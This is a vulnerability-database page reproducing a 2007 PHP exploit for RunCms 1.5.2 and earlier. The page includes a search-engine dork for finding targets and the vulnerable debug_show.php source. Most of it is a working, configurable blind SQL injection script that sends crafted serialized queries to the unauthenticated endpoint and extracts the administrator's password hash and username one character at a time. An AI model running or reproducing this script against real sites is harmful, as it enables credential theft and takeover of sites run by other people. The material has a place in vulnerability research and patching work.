Lucene search
K

RunCms <= 1.5.2 (debug_show.php) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 34 Views

Remote SQL Injection Exploit in RunCms <= 1.5.2 debug_show.ph

Code

                                                &#60;?php
print_r(&#39;
--------------------------------------------------------------------------
RunCms &#60;= 1.5.2 /class/debug/debug_show.php sql injection / credentials
disclosure exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork: &#34;Runcms Copyright&#34; &#34;2002 - 2007&#34; +&#34;page created&#34;
---------------------------------------------------------------------------
&#39;);

/*
software site: http://www.runcms.org/modules/news/

vulnerable code in /class/debug/debug_show.php:
&#60;?php
...

include_once(&#34;../../mainfile.php&#34;);
include_once(&#34;../../header.php&#34;);

switch($_POST[&#39;debug_show&#39;]) {
  case &#34;show_files&#34;:
    show_files($_POST[&#39;loaded_files&#39;]);
    break;

  case &#34;show_queries&#34;:
    show_queries($_POST[&#39;executed_queries&#39;], $_POST[&#39;sorted&#39;]);
    break;
}

include_once(&#34;../../footer.php&#34;);
?&#62;

no authentication is performed to run show_files() and show_queries()
functions, look at this now in /class/debug/debug.php:

...
function show_queries($executed_queries, $sorted=0)
{
   global $db;

   $executed_queries = unserialize(urldecode($executed_queries));

   if ($sorted == 1)
   {
      sort($executed_queries);
      $is_sorted = _DBG_SORTEDR;
   }
   else
   {
      array_reverse($executed_queries);
      $is_sorted = _DBG_NSORTEDR;
   }

   OpenTable();

   $fulldebug = &#34;
    &#60;h4&#62;($is_sorted) &#34;._DBG_QEXECED.&#34;: &#34;.count($executed_queries).&#34;&#60;/h4&#62;
    &#60;table width=&#39;100%&#39; cellpadding=&#39;3&#39; cellspacing=&#39;1&#39;&#62;&#34;;

   $size = count($executed_queries);

   for ($i=0; $i&#60;$size; $i++)
   {
      $stime = get_micro_time();

      $query      = $db-&#62;query(&#34;EXPLAIN &#34;.$executed_queries[$i].&#34;&#34;);
      $querytime  = (get_micro_time() - $stime);
      $totaltime += $querytime;

      $fulldebug .= &#34;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_QUERY.&#34;: &#34;.($i+1).&#34;&#60;/b&#62;&#60;/td&#62;
			&#60;td colspan=&#39;7&#39; class=&#39;bg3&#39;&#62;$executed_queries[$i]&#60;/td&#62;
			&#60;/tr&#62;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TIME.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td colspan=&#39;7&#39; class=&#39;bg3&#39;&#62;&#34;.round($querytime, 4).&#34; &#34;._DBG_SECONDS.&#34;&#60;/td&#62;
			&#60;/tr&#62;&#60;tr&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TABLE.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_TYPE.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_POSSKEYS.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_KEY.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_KEYLEN.&#34;:&#60;/b&#62;&#60;/td&#62;
                        &#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;ref:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_ROWS.&#34;:&#60;/b&#62;&#60;/td&#62;
			&#60;td nowrap=&#39;nowrap&#39; class=&#39;bg2&#39;&#62;&#60;b&#62;&#34;._DBG_EXTRA.&#34;:&#60;/b&#62;&#60;/td&#62;
                        &#60;/tr&#62;&#34;;

      while ($result = $db-&#62;fetch_array($query))
      {
         $fulldebug .= &#34; &#60;tr&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;table&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;type&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39;&#62;{$result[&#39;possible_keys&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;key&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;key_len&#39;]}&nbsp;&#60;/td&#62;
                        &#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;ref&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39; nowrap=&#39;nowrap&#39; {$result[&#39;rows&#39;]}&nbsp;&#60;/td&#62;
			&#60;td class=&#39;bg3&#39;&#62;{$result[&#39;Extra&#39;]}&nbsp;&#60;/td&#62;
                        &#60;/tr&#62;&#34;;
      }
      $fulldebug .= &#34;&#60;tr&#62;
			&#60;td colspan=&#39;8&#39; class=&#39;bg1&#39;&#62;&#34;._DBG_CUMULATED.&#34;:&#34;.round($totaltime, 4).&#34; &#34;._DBG_SECONDS.&#34;&#60;hr noshade&#62;&#60;/td&#62;
			&#60;/tr&#62;&#34;;
   }

   $fulldebug .= &#34;&#60;/table&#62;&#34;;

   echo $fulldebug;
   CloseTable();
}
...

we have a nice kind of sql injection here!

also show_files function can be used to check the existence of certain files
and retrieve the filesize or if it has been modified and so on...


*/

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:      target server (ip/hostname)
path:      path to runcms

Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]:    &#34;&#34;   a proxy
 -T[prefix]      &#34;&#34;   a table prefix (default: runcms)
Example:
php &#39;.$argv[0].&#39; localhost /runcms/ ls -la -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /runcms/ ls -la -p81
---------------------------------------------------------------------------
&#39;);
    die;
}

error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    $parts[1]=(int)$parts[1];
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
$prefix=&#34;runcms&#34;;

for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-T&#34;)
{
  $prefix=str_replace(&#34;-T&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
echo &#34;md5 hash -&#62; &#34;;
$j=1;$password=&#34;&#34;;
while (!strstr($password,chr(0))){
    for ($i=0; $i&#60;=255; $i++){
        if (in_array($i,$md5s)){
            $executed_queries=array();
            //original query: EXPLAIN ...
            $executed_queries[0]=&#34;SELECT null FROM &#34;.$prefix.&#34;_users WHERE 1=(IF((ASCII(SUBSTRING(pass,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,999999)) AND rank=7 LIMIT 1&#34;;
            $sql=urlencode(serialize($executed_queries));
            $sql=str_replace(&#34;%22&#34;,&#34;%2522&#34;,$sql);//you know, urldecode()...
            $data =&#34;debug_show=show_queries&#34;;
            $data.=&#34;&executed_queries=&#34;.$sql;
            $data.=&#34;&sorted=1&#34;;
            $packet =&#34;POST &#34;.$p.&#34;class/debug/debug_show.php HTTP/1.0\r\n&#34;;
            $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
            $packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
            $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
            $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
            $packet.=&#34;Pragma: no-cache\r\n&#34;;
            $packet.=&#34;Connection: Close\r\n\r\n&#34;;
            $packet.=$data;
            send($packet);
            if (eregi(&#34;_users&nbsp;&#60;/td&#62;&#34;,$html)){$password.=chr($i);echo chr($i); sleep(1); break;}
        }
        if ($i==255) {die(&#34;Exploit failed...&#34;);}
  }
  $j++;
}
echo &#34;\n&#34;;

echo &#34;admin username -&#62; &#34;;
$j=1;$admin_user=&#34;&#34;;
while (!strstr($admin_user,chr(0))){
    for ($i=0; $i&#60;=255; $i++){
        $executed_queries=array();
        $executed_queries[0]=&#34;SELECT null FROM &#34;.$prefix.&#34;_users WHERE 1=(IF((ASCII(SUBSTRING(uname,&#34;.$j.&#34;,1))=&#34;.$i.&#34;),1,999999)) AND rank=7 LIMIT 1&#34;;
        $sql=urlencode(serialize($executed_queries));
        $sql=str_replace(&#34;%22&#34;,&#34;%2522&#34;,$sql);
        $data =&#34;debug_show=show_queries&#34;;
        $data.=&#34;&executed_queries=&#34;.$sql;
        $data.=&#34;&sorted=1&#34;;
        $packet =&#34;POST &#34;.$p.&#34;class/debug/debug_show.php HTTP/1.0\r\n&#34;;
        $packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
        $packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n&#34;;
        $packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
        $packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
        $packet.=&#34;Pragma: no-cache\r\n&#34;;
        $packet.=&#34;Connection: Close\r\n\r\n&#34;;
        $packet.=$data;
        send($packet);
        if (eregi(&#34;_users&nbsp;&#60;/td&#62;&#34;,$html)){$admin_user.=chr($i);echo chr($i); sleep(1); break;}
    }
    if ($i==255) {die(&#34;Exploit failed...&#34;);}
    $j++;
}
?&#62;

# milw0rm.com [2007-05-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation